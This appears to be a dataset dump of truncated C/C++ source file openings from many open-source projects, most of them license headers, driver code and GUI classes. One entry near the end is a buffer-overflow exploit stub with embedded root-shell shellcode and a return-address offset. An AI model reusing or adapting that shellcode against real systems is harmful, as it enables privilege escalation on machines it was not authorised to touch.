text
stringlengths
4
6.14k
/* * Copyright (C) 2009-2015,2020 by Jonathan Naylor G4KLX * Copyright (C) 2016 by Colin Durbridge G4EML * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the...
/** * UGENE - Integrated Bioinformatics Tools. * Copyright (C) 2008-2022 UniPro <ugene@unipro.ru> * http://ugene.net * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * ...
/* ** $Id$ ** ** perf.h ** ** Copyright (C) 2014-2016 Cisco and/or its affiliates. All rights reserved. ** Copyright (C) 2002-2013 Sourcefire, Inc. ** Dan Roelker <droelker@sourcefire.com> ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License ...
/* * This file is part of gshutdown. * * Copyright (c) GShutdown Team <gshutdown@gmail.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at y...
/* * Copyright (c) 2007 Cyrille Berger <cberger@cberger.net> * * This library is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2.1 of the License, or * (at your option) any late...
/* * include/linux/omap_ion.h * * Copyright (C) 2011 Google, Inc. * * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * * This program is distributed in the h...
/* * Copyright (c) 2013 Somsubhra Bairi <somsubhra.bairi@gmail.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; version 2 of the License, or(at you option) * any later ve...
/* * tegra_asoc_utils.c - Harmony machine ASoC driver * * Author: Stephen Warren <swarren@nvidia.com> * Copyright (C) 2010 - NVIDIA, Inc. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * version 2 as published by the Free S...
/* Copyright Statement: * * This software/firmware and related documentation ("MediaTek Software") are * protected under relevant copyright laws. The information contained herein * is confidential and proprietary to MediaTek Inc. and/or its licensors. * Without the prior written permission of MediaTek inc. and/or ...
#include <linux/kernel.h> #include <linux/module.h> #include <linux/device.h> #include <linux/types.h> #include <linux/platform_device.h> #include <linux/mutex.h> #include <linux/idr.h> #include "../w1.h" #include "../w1_int.h" #include "../w1_family.h" #include "w1_ds2760.h" static int w1_ds2760_io(struct device *...
/* * Copyright (C) 2014 Valery Kholodkov */ #ifndef _FLEET_WAYPOINTS_WIDGET_H_ #define _FLEET_WAYPOINTS_WIDGET_H_ #include <QWidget> #include <QListWidget> #include "folding_widget.h" #include "cargo_widget.h" #include "FSServer.h" namespace FreeStars { class FleetWaypointsWidget : public FoldingWidget { Q_...
// WinDjView // Copyright (C) 2004-2009 Andrew Zhezherun // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. /...
#pragma once #include "Stdafx.h" using namespace System; namespace Dzonny { namespace XmlKeyboard { namespace Interop { /// <summary>Ligature - when a key press produces more than one character</summary> public ref class Ligature { private: /// <summary>A pointer to unmanaged <see ...
/* * chdir.c */ #include <dirent.h> #include <stdio.h> #include <errno.h> int chdir(const char *path) { errno = ENOSYS; return -1; }
/* WARNING! All changes made to this file will be lost! */ #ifndef W_SRATOM_CONFIG_H_WAF #define W_SRATOM_CONFIG_H_WAF #define HAVE_LV2 1 #define HAVE_SERD 1 #define HAVE_SORD 1 #define SRATOM_VERSION "0.4.2" #endif /* W_SRATOM_CONFIG_H_WAF */
/* * The ManaPlus Client * Copyright (C) 2011-2019 The ManaPlus Developers * Copyright (C) 2019-2022 Andrei Karas * * This file is part of The ManaPlus Client. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by ...
/* ** Copyright 2003-2010, VisualOn, Inc. ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable...
/* * linux/fs/ext2/file.c * * Copyright (C) 1992, 1993, 1994, 1995 * Remy Card (card@masi.ibp.fr) * Laboratoire MASI - Institut Blaise Pascal * Universite Pierre et Marie Curie (Paris VI) * * from * * linux/fs/minix/file.c * * Copyright (C) 1991, 1992 Linus Torvalds * * ext2 fs regular file handling...
/* Copyright Statement: * * (C) 2005-2016 MediaTek Inc. All rights reserved. * * This software/firmware and related documentation ("MediaTek Software") are * protected under relevant copyright laws. The information contained herein * is confidential and proprietary to MediaTek Inc. ("MediaTek") and/or its licens...
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_IMPORTER_EXTERNAL_PROCESS_IMPORTER_CLIENT_H_ #define CHROME_BROWSER_IMPORTER_EXTERNAL_PROCESS_IMPORTER_CLIENT_H_ #include <str...
/* * Copyright (c) 2017, 2020, Oracle and/or its affiliates. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice,...
/* * Copyright (C) 2005 - 2011 MaNGOS <http://www.getmangos.org/> * * Copyright (C) 2008 - 2011 TrinityCore <http://www.trinitycore.org/> * * Copyright (C) 2011 TrilliumEMU <http://www.trilliumemu.org/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Gene...
/* * Copyright (c) 2017, 2020, Oracle and/or its affiliates. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice,...
/* Bluefish HTML Editor * msg_queue.h - message queue handling * * Copyright (C) 2003 Olivier Sessink * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or...
/** @file Quhwa HS1527. Copyright (C) 2016 Ask Jakobsen This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version...
/* copied from linux wireless-2.6/net/mac80211/util.c */ /* * Copyright 2002-2005, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * Copyright 2006-2007 Jiri Benc <jbenc@suse.cz> * Copyright 2007 Johannes Berg <johannes@sipsolutions.net> * Copyright 2014-2015 Bruno Randolf (br1@einfac...
#ifndef _MSGB_H #define _MSGB_H /* (C) 2008 by Harald Welte <laforge@gnumonks.org> * All Rights Reserved * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, ...
/* ** Zabbix ** Copyright (C) 2001-2013 Zabbix SIA ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** This pro...
/* * calloc() * * COPYRIGHT (c) 1989-2007. * On-Line Applications Research Corporation (OAR). * * The license and distribution terms for this file may be * found in the file LICENSE in this distribution or at * http://www.rtems.com/license/LICENSE. * * $Id$ */ #if HAVE_CONFIG_H #include "config.h" #e...
/// /// \file DatabaseSelectDlg.h /// Dialog wrapper class for user selection of device databases /// /* Copyright (C) 2007-2013, Net Direct Inc. (http://www.netdirect.ca/) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as publish...
#ifndef INCLUDED_FREI0R_MATH_H #define INCLUDED_FREI0R_MATH_H /* Code stripped from The Gimp: INT_MULT(a,b,t) INT_MULT3(a,b,c,t) INT_BLEND(a,b,alpha,tmp) CLAMP ROUND MAX255 Code stripped from Drone: CLAMP0255 SQR */ /* Clamps a int32-range int between 0 and 255 inclusive. */ #ifndef CLAMP0255 st...
/* * Asterisk -- An open source telephony toolkit. * * Copyright (C) 2012 - 2013, Digium, Inc. * * David M. Lee, II <dlee@digium.com> * * See http://www.asterisk.org for more information about * the Asterisk project. Please do not directly contact * any of the maintainers of this project for assistance; * the...
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil ; -*- */ /* * (C) 2008 by Argonne National Laboratory. * See COPYRIGHT in top-level directory. */ #include "hydra.h" #include "bsci.h" #include "common.h" HYD_status HYDT_bsci_launcher_lsf_init(void) { HYDT_bsci_fns.query_env_inherit = HYDT_bscd_lsf...
#ifndef __VERSION_H__ #define __VERSION_H__ #define VERSION_DATE "Sun, 18 Oct 2015 21:02:23 -0700" #define VERSION_HASH "84aea39" #define VERSION_BRANCH "master" #define VERSION_REPO "git@github.com:pukster/omxplayer-sync3.git" #endif
/* This file is part of the KDE project Copyright 2008 Stefan Nikolaus <stefan.nikolaus@kdemail.net> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the Lic...
struct float3; struct Particle; struct int4; struct Triangles; int collision_inside_1p(int spdir, const float *r, const float *vv, const int4 *tt, const int nt); void collision_get_colors(const Particle *pp, int n, const Particle *i_pp, Triangles *tri, ...
/* * sysstat: System performance tools for Linux * (C) 1999-2011 by Sebastien Godard (sysstat <at> orange.fr) */ #ifndef _COMMON_H #define _COMMON_H /* Maximum length of sensors device name */ #define MAX_SENSORS_DEV_LEN 20 #include <time.h> #include <sched.h> /* For __CPU_SETSIZE */ #include "rd_stats.h" /* *...
#ifndef _S3C2410_ADC_H_ #define _S3C2410_ADC_H_ #define ADC_WRITE(ch, prescale) ((ch)<<16|(prescale)) #define ADC_WRITE_GETCH(data) (((data)>>16)&0x7) #define ADC_WRITE_GETPRE(data) ((data)&0xff) #endif
void func(long b, long c) { long a; for (a = 0; a < 100; a = a + 1) { b = b + c; } printf("%ld %ld %ld\n", a, b, c); return; } long main() { long b, c; b = 1; c = 7; func(b, c); }
#ifndef HICCUP_H #define HICCUP_H #include <deque> #include <queue> #include <map> #include <set> #include <stdexcept> #include <sstream> #include <algorithm> #include <cmath> #include "Rcpp.h" template <class T> struct sort_row_index { sort_row_index(const T* p) : ptr(p) {} bool operator() (const int& l, const in...
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil -*- */ /* * Copyright (c) 2004-2007 The Trustees of Indiana University and Indiana * University Research and Technology * Corporation. All rights reserved. * Copyright (c) 2004-2005 The University of Tennessee a...
/************************************* open_iA ************************************ * * ********** A tool for visual analysis and processing of 3D CT images ********** * * *********************************************************************************** * * Copyright (C) 2016-2021 C. Heinzl, M. Reiter, A. Reh,...
/* * Copyright 2009, 2010 Free Software Foundation, Inc. * * This software is distributed under the terms of the GNU Affero Public License. * See the COPYING file in the main directory for details. * * This use of this software may be subject to additional restrictions. * See the LEGAL file in the main directory for de...
//////////////////////////////////////////////////////////////////////////////// // // (C) Andy Thomason 2012-2014 // // Modular Framework for OpenGLES2 rendering on multiple platforms. // // mouse ball for rotating cameras around points of interest. namespace octet { namespace helpers { /// Class for picking object...
// Copyright (C) Explorer++ Project // SPDX-License-Identifier: GPL-3.0-only // See LICENSE in the top level directory #pragma once #include "HardwareChangeNotifier.h" #include "Navigation.h" #include "../Helper/BaseWindow.h" #include "../Helper/FileContextMenuManager.h" #include "../Helper/WindowSubclassWr...
#include "lexan.h" int main(int argc, char *argv[]) { // We only allow 1 file to be compiled for now if (argc != 2) { printf("Usage: %s filename\n", argv[0]); return 1; } char *filename = argv[1]; FILE *file; // Check if the file is readable if ((file = fopen(filename, "r")) == NULL) { ...
#ifndef OWNPARAMETERDIALOG_H #define OWNPARAMETERDIALOG_H #include <QDialog> namespace Ui { class OwnParameterDialog; } class OwnParameterDialog : public QDialog { Q_OBJECT public: explicit OwnParameterDialog(QWidget *parent = 0); ~OwnParameterDialog(); void setText(QString t); private slots: void on_buttonB...
/* This file is part of TSLoad. Copyright 2012-2014, Sergey Klyaus, ITMO University TSLoad is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 3. TSLoad is distributed in the hope tha...
/**************************************************************************** ** ** Copyright (C) 2016 The Qt Company Ltd. ** Contact: https://www.qt.io/licensing/ ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance w...
// // JSMBookVC.h // JSMHackerBooks // // Created by Jose Sancho Monrabal on 5/4/15. // Copyright (c) 2015 sancho.jose. All rights reserved. // #import <UIKit/UIKit.h> #import "JSMLibraryTableVC.h" @class JSMBook; @interface JSMBookVC : UIViewController <UISplitViewControllerDelegate, LibraryTableVCDelegate> @pr...
#include <include/generated/autoconf.h> #ifdef CONFIG_MCUAL_GPIO #include "../arm/gpio.c" /* #include <mcual.h> #include <stm32l4xx_hal.h> static mcual_gpio_interrupt_handler_t _itr_handlers[16]; static GPIO_TypeDef * mcual_gpio_get_register(mcual_gpio_port_t port) { switch(port) { case MCUAL_GPIOA: r...
//////////////////////////////////////////////////////////////////////////// // Created : 27.05.2010 // Author : Sergey Chechin // Copyright (C) GSC Game World - 2010 //////////////////////////////////////////////////////////////////////////// #ifndef XRAY_RESOURCES_CALLBACKS_H_INCLUDED #define XRAY_RESOURCES_CALLBA...
/* * C library entry point. Expects a normal C environment (valid stack) * then goes on and initialises newlib stuff, then calls main. * * This is a drastically cut down equivalent of newlib's normal entry point. * * * Copyright 2008 Torne Wuff * * This file is part of Pycorn. * * Pycorn is free software: yo...
/* * File: RmDirState.h * Author: radek * * Created on 27 July 2013, 13:20 */ #ifndef RMDIRSTATE_H #define RMDIRSTATE_H using namespace std; #include "../State.h" #include "../../../Functions.h" #include "../../LfcRmDirCommand.h" class RmDirState : public State { public: RmDirState(); virtual ~RmDir...
#ifndef WEIGHTEDITOR_H #define WEIGHTEDITOR_H #include <QDialog> #include <vector> #include "src/cubemapeditorimage.h" namespace Ui { class weighteditor; } class weighteditor : public QDialog { Q_OBJECT public: explicit weighteditor(QWidget *parent = 0); ~weighteditor(); void loadImage (CubeMapEdito...
// DiskArcher. // Interface of CMyListView class. // (C) Marat Mirgaleev, 2002-2003. // Created 03.03.2002. // Modifications: // (2) 02.09.2002. IsAnythingSelected() added. // (3) 16.01.2003. EraseList() added. // Typical behaviour of ShowPopupMenu implemented; // m_nMenuID and SetPopupMenu() added. //========...
/* BodySlide and Outfit Studio See the included LICENSE file */ #pragma once #include "../render/GLSurface.h" /* Class for managing offscreen rendering buffers. Allows more than one buffer to be created, and automatically cycled for a multipass rendering chain Enables exporting buffers to disk files */ class GLOffS...
/* * MCBackend.h * * Created on: 25/nov/2010 * Author: lorenzo */ #ifndef MCBACKEND_H_ #define MCBACKEND_H_ #define MC_ENSEMBLE_NVT 0 #define MC_ENSEMBLE_NPT 1 #define MC_MOVES 3 #define MC_MOVE_TRANSLATION 0 #define MC_MOVE_ROTATION 1 #define MC_MOVE_VOLUME 2 #include "SimBackend.h" template<typename n...
/** Copyright (c) 2015 MidAir Technology, LLC. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later versio...
/************************************************************************** * Copyright (C) 2008 - 2010 by Simon Qian * * SimonQian@SimonQian.com * * * * Project: ...
/****************************************************************************** * Copyright (C) 2016 Felix Rohrbach <kde@fxrh.de> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; ei...
#if 0 int bootstrap_parent() { return 0; } void bootstrap_init(void) { } #endif void _libxpc_initializer(void) { }
/** Definition of the class Shoot * Prefix: CSH_ * @author Ramon Molla * @version 2011-11 */ #ifndef CSH_SHOOT #define CSH_SHOOT #include "Character.h" #include "Quadtree.h" #include "QuadtreeRoot.h" /** * \typedef CSH_SHOOT_TYPE * Different types of shoots that can be active at any moment while playing the game *...
/* * Copyright (c) 2005, Hervé Drolon, FreeImage Team * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, thi...
/* QuickLook plugin for PVR images Copyright (C) 2008 atPurpose This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Th...
/* * OpenSplice DDS * * This software and documentation are Copyright 2006 to 2013 PrismTech * Limited and its licensees. All rights reserved. See file: * * $OSPL_HOME/LICENSE * * for full copyright notice and license terms. * */ #ifndef GAPI_GENERICCOPYBUFFER...
#ifndef _cleanup_h #define _cleanup_h int cleanup(); #endif
#ifndef MESSAGEPROCESSOR_H #define MESSAGEPROCESSOR_H #include <interfaces/ipluginmanager.h> #include <interfaces/imessageprocessor.h> #include <interfaces/ixmppstreammanager.h> #include <interfaces/istanzaprocessor.h> #include <interfaces/iservicediscovery.h> #include <interfaces/inotifications.h> class Me...
// Copyright (c) Athena Dev Teams - Licensed under GNU GPL // For more information, see LICENCE in the main folder #ifndef _MAP_DATE_H_ #define _MAP_DATE_H_ int date_get_year(void); int date_get_month(void); int date_get_day(void); int date_get_hour(void); int date_get_min(void); int date_get_sec(void); ...
#ifndef _POL_FIBHEAP_H #define _POL_FIBHEAP_H 1 namespace polaris { template<typename _Tp> class fib_heap_node { public: typedef _Tp key_type; typedef _Tp value_type; typedef fib_heap_node<_Tp> node_type; private: key_type _M_key; node_type* _M_parent; // std::list<node_type*>* _M_child; n...
/* mail-util.c * * Copyright (C) 2010 Christian Hergert <chris@dronelabs.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any...
#ifndef UTILS_H_ #define UTILS_H_ #include "fixedMath.h" #include "Arduino.h" /** @defgroup util Mozzi utility functions */ /** @ingroup util Set digital pin 13 to output for testing timing with an oscilloscope.*/ #define SET_PIN13_OUT (DDRB = DDRB | B00100000) /** @ingroup util Set pin 13 high for testing timing w...
#include "pmpi_wrap.h" PMPI_WRAP2(MPI_Error_class, int, int *)
/* stringops.c * Date : 26 August 2015 * Author: Ankit Pati */ #include <stdio.h> #include <string.h> /* manual string functions */ int str_len(char s[]) { int len=0; while(s[len]) ++len; return len; } int str_cmp(char s1[], char s2[]) { int i=0, j=0; while(s1[i] && s2[j] && s1[i]==s2[j]) ++i...
/* * ConvUtil.h * * Created on: Feb 21, 2010 * Author: cinc */ #ifndef CONVUTIL_H_ #define CONVUTIL_H_ #include <string> using namespace std; class ConvUtil { public: /** * 'C' -> 2 */ static int charToIntIndex(char c); /** * 2 -> 'C' */ static char intIndexToChar(int index); /** * 'BC' -...
/****************************************************************************** ** Copyright (c) 2006-2018, Calaos. All Rights Reserved. ** ** This file is part of Calaos. ** ** Calaos is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published ...
#include "sae_par.h" #include "dat_par.h" #include "ndf1.h" #include "star/util.h" void ndf1Dcre( const char *ftype, int ndim, const hdsdim lbnd[], const hdsdim ubnd[], NdfPCB *pcb, NdfACB **acb, int *status ){ /* *+ * Name: * ndf1Dcre * Purpose: * Create a simple NDF. * Synopsis: * voi...
#ifndef __LA_H_INCLUDED__ #define __LA_H_INCLUDED__ enum LAEepromAddress {LA_EEPROM_VERIFY=10,LA_EEPROM_TIME1=11, LA_EEPROM_TIME2=15, LA_EEPROM_CURRENT1=19, LA_EEPROM_CURRENT2=21, LA_EEPROM_POSITION=22}; //if this is changed, then you should change the verification code below #define LA_EEPROM_VERIFY_CODE 101 //#defi...
/* * Copyright 2012-2013 Luke Dashjr * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 3 of the License, or (at your option) * any later version. See COPYING for more detai...
#include <stdint.h> #include <string.h> #include <board-conf.h> #include <config.h> #include <flashrom.h> void config_load(void) { if (*((uint16_t*) INFOMEM) == CONFIG_KEY) { memcpy(&sysconfig, (char*) (INFOMEM + sizeof(CONFIG_KEY)), sizeof(sysconfig)); } else { config_save(); } } uint8_t c...
#ifndef PLAYERPROJECTILE_H #define PLAYERPROJECTILE_H #include <QtGui/QMainWindow> #include <QGraphicsScene> #include <QGraphicsView> #include <QGraphicsRectItem> #include <QTimer> #include <QTimeLine> #include <QGraphicsItemAnimation> #include <QPushButton> #include <QTextEdit> #include <QLineEdit> #include <QListVie...
/***************************************************************************** The Dark Mod GPL Source Code This file is part of the The Dark Mod Source Code, originally based on the Doom 3 GPL Source Code as published in 2011. The Dark Mod Source Code is free software: you can redistribute ...
#include <stdio.h> #include <stdlib.h> typedef struct cvor { int value; struct cvor *levi; struct cvor *desni; }BCvor; void delete_tree(BCvor *koren){ if( koren == NULL) return; delete_tree(koren->levi); delete_tree(koren->desni); free(koren); } int sum_listova(BCvor* koren) { if (koren == NULL) ...
/**************************************************************************** * Copyright (C) 2009-2013 GGA Software Services LLC * * This file is part of Imago OCR project. * * This file may be distributed and/or modified under the terms of the * GNU General Public License version 3 as published by the Free Soft...
#ifndef GRIDGRABBER_H #define GRIDGRABBER_H //#include <QtGui> #include "gridobject.h" #include <QGLViewer/mouseGrabber.h> class GridGrabber : public QObject, public qglviewer::MouseGrabber, public GridObject { Q_OBJECT public : GridGrabber(); ~GridGrabber(); enum MoveAxis { MoveX, MoveY, Mo...
// ====================================================================== // This file is a part of the ProgrammerStenoTutor project // // Copyright (C) 2017 Vissale NEANG <fromtonrouge at gmail dot com> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General...
#ifndef WINDOW_H #define WINDOW_H #include <Urho3D/Urho3D.h> #include "sceneobject.h" class Window : public SceneObject { URHO3D_OBJECT(Window, SceneObject); public: Window(Context* context); static void RegisterObject(Context* context); virtual void OnNodeSet(Node* node); virtual void Update(flo...
#include "parse.h"
/** * @file gokand/sensorimpl.h * @brief A system sensor device back end implementation base class. */ /* * Copyright 2014 Canonical Ltd. * * Gokan is free software: you can redistribute it and/or modify it * under the terms of the GNU General Public License version 3, as published by * the Free Software Foun...
#include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *comm...
/* * This file is part of Cleanflight. * * Cleanflight is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Cleanflight is distr...
#define QOP_Precision 'F' #define QDP_Precision 'F' #define QLA_Precision 'F' #include "lcomplex.c"
struct mypacket; int x15_setup(); int x15_teardown(); int x15_process_syn(struct mypacket *packet); int x15_process_synack(struct mypacket *packet); int x15_failed();
/// Copyright 2010-2012 4kdownload.com (developers@4kdownload.com) /** This file is part of 4k Download. 4k Download is free software; you can redistribute it and/or modify it under the terms of the one of two licenses as you choose: 1. GNU GENERAL PUBLIC LICENSE Version 3 (See file COPYIN...
#ifndef PROPERTYTYPE_H #define PROPERTYTYPE_H #include <QVariant> #include <QColor> #include <QVector2D> #include <QVector3D> namespace iris { enum class PropertyType { None, Bool, Int, Float, Vec2, Vec3, Color, Texture, File, List }; struct Property { unsigned ...
/*! \file pg-main.h * * * File pg-main.h * * * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either version 2.1 * of the License, or (at your option) any later version. ...
/* Copyright 2009 The Open University http://www.open.ac.uk/lts/projects/audioapplets/ This file is part of the "Open University audio applets" project. The "Open University audio applets" project is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published...
/* Copyright (C) 2013 Stefan Wenn, SEMM */ /*----------------------------------------------------------------------------*/ /* Projekt: SEMM */ /* Modul: XY-Positioniereinheit (XYS) ...
#include "args.h" args_t * args_new(void) { args_t *args; args = malloc(sizeof(args_t)); args->project_file = NULL; return args; } void args_free(args_t *args) { free(args->project_file); free(args); } void args_print_usage() { handle_error("Usage: ./cpareia -p project_file [-t max_threads]\n"); } ...
#ifndef ZC_PROCESS_MANAGEMENT_H #define ZC_PROCESS_MANAGEMENT_H #include <cstdio> #include <string> static uint32_t __dummy_; #ifdef _WIN32 #define NOGDI #define WinMain __win_main #include "windows.h" #undef WinMain #undef NOGDI #endif struct process_killer { #ifdef _WIN32 void* process_handle; void kill(uint32...